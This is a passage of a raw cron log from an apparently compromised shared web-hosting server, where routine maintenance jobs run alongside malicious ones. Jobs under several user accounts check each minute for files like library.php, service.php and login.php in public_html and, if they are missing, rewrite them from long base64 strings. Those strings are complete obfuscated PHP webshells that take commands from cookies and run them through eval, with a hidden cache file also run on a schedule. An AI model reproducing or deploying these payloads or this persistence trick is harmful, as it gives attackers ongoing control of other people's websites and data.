IpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:28:01 medusa CROND[30719]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 11:28:01 medusa CROND[30721]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:28:01 medusa CROND[30722]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:28:01 medusa CROND[30729]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:28:01 medusa CROND[30732]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:28:01 medusa CROND[30735]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:28:01 medusa CROND[30738]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:28:01 medusa CROND[30742]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 11:29:01 medusa CROND[16229]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:29:01 medusa CROND[16393]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:29:01 medusa CROND[16394]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:29:01 medusa CROND[16397]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:29:01 medusa CROND[16399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:29:01 medusa CROND[16400]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 11:29:01 medusa CROND[16401]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:29:01 medusa CROND[16402]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:29:01 medusa CROND[16405]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:29:01 medusa CROND[16418]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 11:29:01 medusa CROND[16419]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:29:01 medusa CROND[16424]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:29:01 medusa CROND[16425]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:30:01 medusa CROND[2059]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 11:30:01 medusa CROND[2060]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 11:30:01 medusa CROND[2066]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 11:30:01 medusa CROND[2123]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:30:02 medusa CROND[2578]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:30:02 medusa CROND[2577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:30:02 medusa CROND[2579]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 11:30:02 medusa CROND[2581]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 11:30:02 medusa CROND[2576]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 11:30:02 medusa CROND[2583]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:30:02 medusa CROND[2580]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 11:30:02 medusa CROND[2582]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:30:02 medusa CROND[2589]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:30:02 medusa CROND[2585]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 11:30:02 medusa CROND[2584]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 11:30:02 medusa CROND[2603]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHd